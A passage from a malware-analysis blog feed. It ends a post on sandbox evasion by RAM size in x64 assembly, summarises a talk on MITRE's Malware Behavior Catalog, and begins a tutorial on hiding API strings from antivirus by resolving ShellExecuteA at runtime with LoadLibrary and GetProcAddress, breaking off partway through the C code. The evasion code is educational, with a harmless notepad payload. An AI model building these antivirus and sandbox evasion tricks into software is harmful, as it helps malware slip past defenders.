&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; Reserve shadow space&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;printf&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; Release shadow space&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x8&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; Release the space of memory_size local variable&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;ExitProcess&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="up-next"&gt;Up next&lt;/h2&gt;
&lt;p&gt;In the next blog post I'll be showing how to get the size RAM size via an alternative method using &lt;code&gt;GlobalMemoryStatusEx&lt;/code&gt;. The code is also straightforward but we'll be exploring how it's values differ from &lt;code&gt;GetPhysicallyInstalledSystemMemory&lt;/code&gt; and also how to deal with C structures on the stack in x64 assembly.&lt;/p&gt;
&lt;p&gt;For now, you can view the C and Assembly code along with the build scripts on the repository &lt;a href="https://github.com/accidentalrebel/sandbox-evasion-by-checking-ram-size"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Feel free to reach out to me on &lt;a href="https://twitter.com/accidentalrebel"&gt;Twitter&lt;/a&gt; or &lt;a href="https://www.linkedin.com/in/juan-karlo-licudine/"&gt;LinkedIn&lt;/a&gt; for any questions or comments.&lt;/p&gt;</content><category term="misc"/><category term="malware"/><category term="sandbox"/><category term="evasion"/><category term="x64"/><category term="assembly"/></entry><entry><title>Talking about Mitre's Malware Behavior Catalog</title><link href="https://www.accidentalrebel.com/talking-about-mitres-malware-behavior-catalog.html" rel="alternate"/><published>2022-08-02T15:06:00+08:00</published><updated>2022-08-02T15:06:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2022-08-02:/talking-about-mitres-malware-behavior-catalog.html</id><summary type="html">&lt;p&gt;An overview of MITRE's Malware Behavior Catalog (MBC) framework and MBCScan, a command-line tool I built to surface MBC behaviors from Capa scan results.&lt;/p&gt;</summary><content type="html">&lt;p&gt;I gave a 10-minute lightning talk at the recently concluded Blackhat Middle East &amp;amp; Africa community meetup. The topic is about Mitre's Malware Behavior Catalog (MBC) framework and the existing tools for it. My reason for selecting this topic is because I feel that more people should know about Mitre's not-so-well-known project.&lt;/p&gt;
&lt;p&gt;&lt;img alt="talking-about-mitres-malware-behavior-catalog-01" src="https://www.accidentalrebel.com/images/talking-about-mitres-malware-behavior-catalog-01.png" /&gt;&lt;/p&gt;
&lt;h2 id="a-brief-overview"&gt;A brief overview&lt;/h2&gt;
&lt;p&gt;MBC is a framework made by Mitre, similar to ATT&amp;amp;CK, but focuses on malware. It lists down the common objectives and behaviors commonly seen in malware. The purpose is to have standardize reporting so that everyone would use the same definitions when writing and talking about malware. This also aids with analysis and correlation with other tools.&lt;/p&gt;
&lt;p&gt;It has it's own matrix with malware objectives as headers for columns and an entry for each behavior. Each behavior then has a list of methods that explains how that behavior is achieved, example of malware that uses it, and also IDs of ATT&amp;amp;CK techniques related to the behavior.&lt;/p&gt;
&lt;p&gt;&lt;img alt="talking-about-mitres-malware-behavior-catalog-02" src="https://www.accidentalrebel.com/images/talking-about-mitres-malware-behavior-catalog-02.png" /&gt;&lt;/p&gt;
&lt;h2 id="the-tools"&gt;The tools&lt;/h2&gt;
&lt;p&gt;There are a number of existing tools that make use of MBC. &lt;a href="https://github.com/mandiant/capa"&gt;Flare's Capa&lt;/a&gt; lists down MBC along with the related ATT&amp;amp;CK techniques and there's also a repository of MBC community rules for the Cuckoo Sandox.&lt;/p&gt;
&lt;p&gt;I find MBC to have a lot of potential so I decided to contribute by making my own tool called &lt;a href="https://github.com/accidentalrebel/mbcscan"&gt;MBCScan&lt;/a&gt;. It's a simple tool that uses Capa which scans a supplied file and lists the MBC behaviors and objectives associated with it. It also allows you to explore the related information and relationships directly from the command line.&lt;/p&gt;
&lt;p&gt;&lt;img alt="talking-about-mitres-malware-behavior-catalog-03" src="https://www.accidentalrebel.com/images/talking-about-mitres-malware-behavior-catalog-03.png" /&gt;&lt;/p&gt;
&lt;h2 id="the-future"&gt;The future&lt;/h2&gt;
&lt;p&gt;MBC has been around for a number of years already but it still has not risen in popularity. In spite of this, it's still being continuously updated. I hope that by sharing and talking about it it'll help spread awareness and, hopefully, get some adoption.&lt;/p&gt;
&lt;p&gt;You can find more information about the project via this &lt;a href="https://www.youtube.com/watch?v=qZef-SoREdY"&gt;video presentation from Mitre&lt;/a&gt;. The Github project is &lt;a href="https://github.com/MBCProject"&gt;here&lt;/a&gt;. And the slides are available &lt;a href="https://docs.google.com/presentation/d/1w89wccaYr2g6104l73Xt2IUMGis_zgTB6krRC1q09Dw/edit?usp=sharing"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Capa is also at the center of my &lt;a href="https://www.accidentalrebel.com/adding-automation-to-blue-jupyter-malware-notebook.html"&gt;Blue-Jupyter malware notebook&lt;/a&gt;, which automates Capa scans across batches of downloaded samples.&lt;/p&gt;
&lt;p&gt;For the ATT&amp;amp;CK side of MITRE visualization, see &lt;a href="https://www.accidentalrebel.com/new-tool-preview-vattack.html"&gt;vATT&amp;amp;CK&lt;/a&gt;, a visual relationship mapper for techniques, malware, and groups.&lt;/p&gt;</content><category term="Malware Analysis"/><category term="malware"/><category term="analysis"/><category term="mitre"/><category term="mbc"/></entry><entry><title>String anti-virus evasion in x64 assembly (Part 2)</title><link href="https://www.accidentalrebel.com/string-av-evasion-in-x64-assembly-part-2.html" rel="alternate"/><published>2022-07-09T12:11:00+08:00</published><updated>2022-07-09T12:11:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2022-07-09:/string-av-evasion-in-x64-assembly-part-2.html</id><summary type="html">&lt;p&gt;How to hide API call strings from antivirus detection using LoadLibrary and GetProcAddress for runtime DLL loading, with a full x64 assembly implementation.&lt;/p&gt;</summary><content type="html">&lt;p&gt;In &lt;a href="string-av-evasion-in-x64-assembly-part-1"&gt;my last blog post&lt;/a&gt;, I discussed a way to hide parameter strings from being detected by an anti-virus. The solution was simple and it worked. However, it was incomplete as strings of function calls and loaded DLLs were still detectable in memory.&lt;/p&gt;
&lt;p&gt;&lt;img alt="string-anti-virus-evasion-in-x64-assembly-part-2-01" src="https://www.accidentalrebel.com/images/string-anti-virus-evasion-in-x64-assembly-part-2-01.png" /&gt;&lt;/p&gt;
&lt;p&gt;In this post I'll be talking about the other technique from the same &lt;a href="https://blog.scrt.ch/2020/07/15/engineering-antivirus-evasion-part-ii/"&gt;blog post&lt;/a&gt; we were following before. It does a good job of explaining the concept which I'll be covering here too. I will also be writing the code in assembly as an added bonus, so we can better understand what goes on under the hood.&lt;/p&gt;
&lt;h2 id="the-problem"&gt;The problem&lt;/h2&gt;
&lt;p&gt;Let's revisit our code from the last time. We have two functions being called &lt;code&gt;ShellExecuteA&lt;/code&gt; and &lt;code&gt;ExitProcess&lt;/code&gt;.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;windows.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;shellapi.h&amp;gt;&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ca_notepad&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;n&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;o&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;t&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;e&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;p&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;a&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;d&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ShellExecuteA&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;open&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ca_notepad&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SW_SHOW&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExitProcess&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Upon compiling the program, the compiler takes the list of all functions used and places them in the executable (In this case, in the &lt;code&gt;.rdata&lt;/code&gt; segment) as a readable string:&lt;/p&gt;
&lt;p&gt;&lt;img alt="string-anti-virus-evasion-in-x64-assembly-part-2-07" src="https://www.accidentalrebel.com/images/string-anti-virus-evasion-in-x64-assembly-part-2-07.png" /&gt;&lt;/p&gt;
&lt;p&gt;A function name like &lt;code&gt;ShellExecuteA&lt;/code&gt; will be sure to raise some eyebrows so we do not want it to be detectable. To hide this we need to do load the DLL at runtime by using &lt;code&gt;LoadLibrary&lt;/code&gt; and &lt;code&gt;GetProcAddress&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="coding-in-c"&gt;Coding in C&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;LoadLibrary&lt;/code&gt; accepts a string containing the DLL that we want to load.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;HANDLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hShell32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LoadLibrary&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;shell32.dll&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This loads the DLL's code into memory and returns a handle to that location. We can see the result of this when we look at the memory map in a debugger. Here's the memory map prior to calling &lt;code&gt;LoadLibrary&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img alt="string-anti-virus-evasion-in-x64-assembly-part-2-03" src="https://www.accidentalrebel.com/images/string-anti-virus-evasion-in-x64-assembly-part-2-03.png" /&gt;&lt;/p&gt;
&lt;p&gt;And here's what it looks like after:&lt;/p&gt;
&lt;p&gt;&lt;img alt="string-anti-virus-evasion-in-x64-assembly-part-2-04" src="https://www.accidentalrebel.com/images/string-anti-virus-evasion-in-x64-assembly-part-2-04.png" /&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;LoadLibrary&lt;/code&gt; API loaded &lt;code&gt;shell32.dll&lt;/code&gt; along with it's dependencies into memory. We can also see that it automatically handled where the new DLLs will be placed. In this case, in between pre-existing ones.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3 id="aside-how-do-we-know-which-dll-is-needed"&gt;Aside: How do we know which DLL is needed?&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;We can find out which DLL is needed by a function by looking at it's &lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya"&gt;MSDN documentation&lt;/a&gt;. Scroll at the end of every function documentation to see the "Requirements" section that lists the DLL that it needs.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="string-anti-virus-evasion-in-x64-assembly-part-2-02" src="https://www.accidentalrebel.com/images/string-anti-virus-evasion-in-x64-assembly-part-2-02.png" /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;code&gt;LoadLibrary&lt;/code&gt; then returns a &lt;code&gt;HANDLE&lt;/code&gt; object which we can then pass to &lt;code&gt;GetProcAddress&lt;/code&gt;.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;_ShellExecuteA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fShellExecuteA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_ShellExecuteA&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GetProcAddress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hShell32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;ShellExecuteA&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;GetProcAddress&lt;/code&gt; looks through the library we loaded and returns the address of the &lt;code&gt;ShellExecuteA&lt;/code&gt; function. This address needs to be cast to a typedef first before it can be called. This means we need to know the structure of the typedef, which we can determine by looking at the "Syntax" section in MSDN.&lt;/p&gt;
&lt;p&gt;Here's the syntax for &lt;code&gt;ShellExecuteA&lt;/code&gt; according to &lt;a href="https://docs.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-shellexecutea"&gt;its documentation&lt;/a&gt;:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;HINSTANCE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;ShellExecuteA&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;in&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;optional&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HWND&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;hwnd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;in&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;optional&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LPCSTR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lpOperation&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;in&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="n"&gt;LPCSTR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lpFile&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;in&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;optional&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LPCSTR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lpParameters&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;in&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;optional&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LPCSTR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lpDirectory&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;in&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="n"&gt;INT&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;nShowCmd&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And here's our typedef implementation:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;typedef&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HINSTANCE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;_ShellExecuteA&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;HWND&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;hwnd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;LPCSTR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lpOperation&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;LPCSTR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lpFile&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;LPCSTR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lpParameters&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;LPCSTR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lpDirectory&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;INT&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;nShowCmd&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;When everything is setup properly, the variable &lt;code&gt;fShellExecuteA&lt;/code&gt; can now be used as a function.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;fShellExecuteA&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;open&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ca_notepad&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SW_SHOW&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Combining these together, this is what our code will look like:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;windows.h&amp;gt;&lt;/span&gt;

&lt;span class="k"&gt;typedef&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HINSTANCE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;_ShellExecuteA&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;HWND&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;hwnd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;LPCSTR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lpOperation&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;LPCSTR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lpFile&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;LPCSTR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lpParameters&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;LPCSTR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lpDirectory&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;INT&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;nShowCmd&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;HANDLE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hShell32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LoadLibrary&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;shell32.dll&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;_ShellExecuteA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fShellExecuteA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_ShellExecuteA&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GetProcAddress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hShell32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;ShellExecuteA&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

